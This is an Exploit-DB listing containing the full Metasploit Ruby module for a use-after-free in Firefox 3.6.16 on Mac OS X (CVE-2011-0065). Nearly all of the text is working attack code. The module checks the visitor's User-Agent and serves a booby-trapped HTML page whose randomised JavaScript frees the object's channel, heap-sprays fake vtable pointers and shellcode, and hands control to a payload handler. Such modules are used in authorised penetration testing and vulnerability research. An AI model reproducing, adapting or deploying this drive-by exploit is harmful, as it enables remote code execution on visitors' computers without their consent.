Exploit-DB #18377
Description: Mozilla Firefox 3.6.16 (OSX) - mChannel Use-After-Free (Metasploit) (2)
Type: remote
Platform: osx
Date: 2012-01-17
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::BrowserAutopwn

	autopwn_info({
		:ua_name => HttpClients::FF,
		:ua_minver => "3.6.16",
		:ua_maxver => "3.6.16",
		:os_name => OperatingSystems::MAC_OSX,
		:javascript => true,
		:rank => NormalRanking,
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability',
			'Description'    => %q{
					This module exploits an use after free vulnerability in Mozilla
				Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
				OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
				becomes a dangling pointer and can be reused when setting the OBJECTs
				data attribute. (Discovered by regenrecht). Mac OS X version by argp,
				tested on Mac OS X 10.6.6, 10.6.7 and 10.6.8.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'regenrecht',                       # discovery
					'Rh0',                              # windows metasploit module
					'argp <argp[at]census-labs.com>'    # mac os x target
				],
			'References'     =>
				[
					['CVE',    '2011-0065'],
					['OSVDB',  '72085'],
					['URL',    'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
					['URL',    'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
				],
			'Payload'        =>
				{
					'Space' => 1024,
				},
			'Platform'       => 'osx',
			'Targets'        =>
				[
					[
						'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7 and 10.6.8)',
						{
							'Arch' => ARCH_X86,
							'Fakevtable' => 0x2727,
							'Fakefunc' => 0x2727001c,
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'May 10 2011'
		))
	end

	def on_request_uri(cli, request)
		# Random JavaScript variable names
		js_element_name      = rand_text_alpha(rand(10) + 5)
		js_obj_addr_name     = rand_text_alpha(rand(10) + 5)
		js_sc_name           = rand_text_alpha(rand(10) + 5)
		js_ret_addr_name     = rand_text_alpha(rand(10) + 5)
		js_chunk_name        = rand_text_alpha(rand(10) + 5)
		js_final_chunk_name  = rand_text_alpha(rand(10) + 5)
		js_block_name        = rand_text_alpha(rand(10) + 5)
		js_array_name        = rand_text_alpha(rand(10) + 5)

		# check for non vulnerable targets
		agent = request.headers['User-Agent']

		if agent !~ /Intel Mac OS X 10\.6/ and agent !~ /Firefox\/3\.6\.16/
			print_error("Target not supported: #{agent}") if datastore['VERBOSE']
			send_not_found(cli)
			return
		end

		# Re-generate the payload
		return if ((payload = regenerate_payload(cli).encoded) == nil)

		payload_buf  = ''
		payload_buf << payload
		escaped_payload = Rex::Text.to_unescape(payload_buf)

		# setup the fake memory references
		my_target = targets[0] # in case we add more targets later
		fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
		fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))

		exploit_js = <<-JS
		#{js_element_name} = document.getElementById("d");
		#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink);
		#{js_element_name}.onChannelRedirect(null, new Object, 0)

		#{js_obj_addr_name} = unescape("\x00#{fakevtable}");

		var #{js_sc_name} = unescape("#{escaped_payload}");

		var #{js_ret_addr_name} = unescape("#{fakefunc}");

		while(#{js_ret_addr_name}.length < 0x120)
		{
			#{js_ret_addr_name} += #{js_ret_addr_name};
		}

		var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18);
		#{js_chunk_name} += #{js_sc_name};
		#{js_chunk_name} += #{js_ret_addr_name};
		var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2);

		while(#{js_final_chunk_name}.length < 0x800000)
		{
			#{js_final_chunk_name} += #{js_final_chunk_name};
		}

		var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2);

		#{js_array_name} = new Array()

		for(n = 0; n < 0x220; n++)
		{
			#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
		}
		JS

		html = <<-HTML
		<html>
		<body>
			<object id="d"><object>
			<script type="text/javascript">
			#{exploit_js}
			</script>
		</body>
		</html>
		HTML

		#Remove the extra tabs
		html = html.gsub(/^\t\t/, '')
		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
		send_response_html(cli, html, { 'Content-Type' => 'text/html' })

		# Handle the payload
		handler(cli)
	end

end